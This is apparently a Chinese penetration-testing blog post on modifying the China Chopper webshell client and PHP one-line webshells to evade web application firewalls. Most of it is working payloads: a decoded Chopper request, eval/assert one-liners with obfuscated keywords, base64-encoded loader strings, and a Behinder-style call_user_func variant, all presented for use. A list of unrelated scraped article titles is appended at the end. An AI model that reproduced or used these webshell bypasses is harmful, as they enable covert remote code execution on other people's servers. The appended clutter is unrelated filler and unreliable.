0x01 简单分析

web渗透中很常见的情况,用菜刀连接免杀的一句话木马连不上,有waf

除了变形一句话木马为免杀一句话,我们还需要来制作过waf的菜刀进行连接、

这里用的一句话为

来看看菜刀连接一句话的时候的包

x=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19yd

W50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTsk

Uj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW

9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3Vu

YW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

把其中url编码转换后就很直观了:

x=@eval(base64_decode($_POST[z0]));

&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ

1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKC

JBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2d

ldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

这里可以看到z0就是执行的操作代码了,base64解密一下z0参数的值

@ini_set("display_errors","0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo("->|");;

$D=dirname($_SERVER["SCRIPT_FILENAME"]);

if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);

$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';

$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|

我们可以简单对这里传递的参数、形式进行变化

1.去掉base64加密 把函数的z0参数用get方式传递

2.可以通过get传递一个 Base64_decode

这里把base64_decode通过get方式传到post中,但是还是被杀

通过测试发现 还需要改

$_GET[bypass]($_POST([z0]) 中的$_POST

换成

x=@eval($_GET[bypass](${'_P'.'OST'}[z0]));&z0=cGhwaW5mbygpOw

很多钟方式都可以变化。。

0x02 制作过waf菜刀

如何换成菜刀可以用的呢 打开 caidao2016 这个菜刀配置文件在外面 不用在逆向改很方便

array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));

@eval($_GET[bypass](${'_P'.'OST'}[z0]));&z0=%s 中间替换成这几句就可以过狗了 get需要

11.php?bypass=Base64_decode  这样连接 如果嫌麻烦可以换成POST

@eval($_POST[bypass](${'_P'.'OST'}[z0]));&z0=%s&bypass=Base64_decode

2. 可以把eval换成assert

@assert(base64_decode($_POST[v]));&v=%s

3.我们可以把base64_decode这个关键词base64编码 一句话来解码 这种方法也是比较推荐的能达到0关键词

ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s

总体来说方法很多 改菜刀端其实和改一句话一样 甚至

eval(base64_decode('%s'));

也是可以的 这里最推荐 把关键词都加密

0x03  仿冰蝎思路菜刀

他的原理是

1.首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。

2.客户端将源代码,如assert|eval("phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();")。

3.服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。

4.以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval(\"phpinfo;\")")

但是菜刀不支持我们这样改 但是可也把他的思路引进到菜刀里面 首先我们看他的一句话

我们可以把eval 放到post里面 从而让一句话没有关键词 简单的写一个

这里学了php的同学很容易看懂 把接受的内容 通过explode函数分割 然后base64解密 调用call_user_func回调函数来执行

菜刀端

|YXNzZXJ0fGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbaWRdKSk7|&id=%s

其中base64解密内容为  assert|eval(base64_decode($_POST[id]));

新型的菜刀应该先冰蝎靠近,尽量让关键词在传输过程中,php本身也有很多其他加密不需要扩展的

所以绕起来很方便的。新型菜刀应该要向高度自定义靠近,免杀就更加简单

fv 06php2c,渗透-简单制作过waf的中国菜刀相关推荐

  1. 《网络安全工程师笔记》 第十四章:渗透简单测试流程

    注:本笔记来自温晓飞老师的网络安全课程 第十四章:渗透简单测试流程 第一章:虚拟化架构与系统部署 第二章:IP地址详解 第三章:进制转换 第四章:DOS基本命令与批处理 第五章:用户与组管理 第六章: ...

  2. macos安装盘第三方工具制作_简单制作OSXYosemite10.10正式版U盘USB启动安装盘方法教程(全新安装Mac系统)下载|异次元软件世界...

    伴随着 iMac 5K Retina 和新的 Mac mini 等硬件的发布,苹果终于都推出了 OS X Yosemite 系统正式版了!相信很多人都已经用上.不过对于一些不想升级,而是打算「全新安装 ...

  3. 简单的php引导页面设计,PS简单制作唯美朦胧柔美的渐变APP引导页

    今天小编为大家分享PS简单制作唯美朦胧柔美的渐变APP引导页方法,教程很不错,难度不是很大,推荐到脚本之家,大家快快来学习吧! 此适合和对颜色研究不深,又急需应用的朋友.小编良心保证,再零基础的同学也 ...

  4. html遮罩层动画制作,flash简单制作遮罩动画效果

    flash简单制作遮罩动画效果QQ空间的开机动画大家应该都有,从最初的出现的一点到后面全部出现,如此神奇的效果到底是怎么做的呢,一起来看看吧!遮罩特效: 由于百度只能上传500k以内的照片,所以效果图 ...

  5. qt登录界面简单制作,是真的保姆级别了!!!

    qt登录界面简单制作,是真的保姆级别了!!! 第二周工程创新实践:创建一个窗体,设计用户登录的界面(含有用户名.密码),并实现用户登录的功能,要求用户提交的登录按钮时能获取界面中的用户名.密码数据并与 ...

  6. WebApp简单制作

    原址:点击打开链接 WebApp简单制作(后端也可以装逼啦) 阅读目录 前端越来越吃香的感觉 初试 登陆,注册 新闻列表 新闻详情和收藏页面 造数据 装逼升级 回到顶部 前端越来越吃香的感觉 年后回来 ...

  7. 电子脑PHP动画制作,PS简单制作一个动态的字体动画

    这篇教程是向PHP中文网的朋友分享PS简单制作一个动态的字体动画方法,教程制作出来的字体动画非常漂亮,难度不是很大,来看看吧 动态的文字比静态的文字更加吸引人的目光.如果在平时的海报中,在平时的促销活 ...

  8. matlab车轮滚动动画,Fireworks动画教程:简单制作轮子滚动动画效果

    本教程是向大家介绍利用Fireworks简单制作轮子滚动动画效果,方法很简单,主要想通过这一实例向大家介绍fw mx如何让我们的web design变得更easy,希望大家通过本篇教程能有收获! 一直 ...

  9. 超简单制作多系统启动U盘教程

    超简单制作多系统启动U盘教程 文章目录 超简单制作多系统启动U盘教程 前言 基本配置 配置PE系统 配置其他操作系统 前言 ​ 这两天心血来潮,本来想用Win to go做一个windows便携系统, ...

最新文章

  1. Handler消息机制(六):Looper.loop()为什么不会阻塞主线程?
  2. asp.net服务器控件button先执行js再执行后台的方法
  3. 学习笔记Spark(一)—— Spark入门
  4. 迅雷(XUNLEI)的工作原理揭密
  5. PIC在线升级源码分析
  6. 解决spring整合mybatis时错误 ‘org.mybatis.spring.mapper.MapperScannerConfigurer#0‘
  7. 本特利3500_本特利技术控的自我修养之 轴位移探头安装
  8. Git工作笔记001---Windows下安装Git Core以及TortoiseGit安装与配置
  9. Android开发——通过扫描二维码,打开或者下载Android应用
  10. 利用Mahout实现在Hadoop上运行K-Means算法
  11. Vitamio 3.0 新手教程
  12. 高数 | 【一元函数微分学】导数部分经典快速例题
  13. 腾讯云如何申请免费服务器试用
  14. 怎么设置微信公众号自动回复蓝色字体小程序链接
  15. 软件需求分析的五个步骤_建立满足用户需求的云的5个步骤
  16. bpm js 计算 音乐_推荐一个能检测歌曲bpm的插件
  17. [ActionScript 3.0] AS3.0 调试出现安全沙箱冲突错误解决办法
  18. c语言房屋销售管理信息系统
  19. OpenCV计算机视觉编程篇三《处理图像的颜色》
  20. 使不知宽高的元素水平垂直居中的方法

热门文章

  1. 非财务人员的财务培训教(五)------资本结构筹划
  2. 2017云栖大会·杭州峰会:《在线用户行为分析:基于流式计算的数据处理及应用》之《数据可视化:构建实时动态运营数据分析大屏》篇
  3. ImageNet调查报告
  4. 学习笔记之-51单片机特殊功能寄存器
  5. why and how
  6. 树莓派CM4_4G IO扩展板搭配广和通4G免驱模块ping包测试演示(Ubuntu Desktop)
  7. CUDA9.2 在1070maxq下的安装
  8. 国家电网调控人工智能创新大赛开启 百度飞桨提供国产AI平台
  9. 山东大学matlab在哪,山东大学在哪?
  10. 1. zsh和oh-my-zsh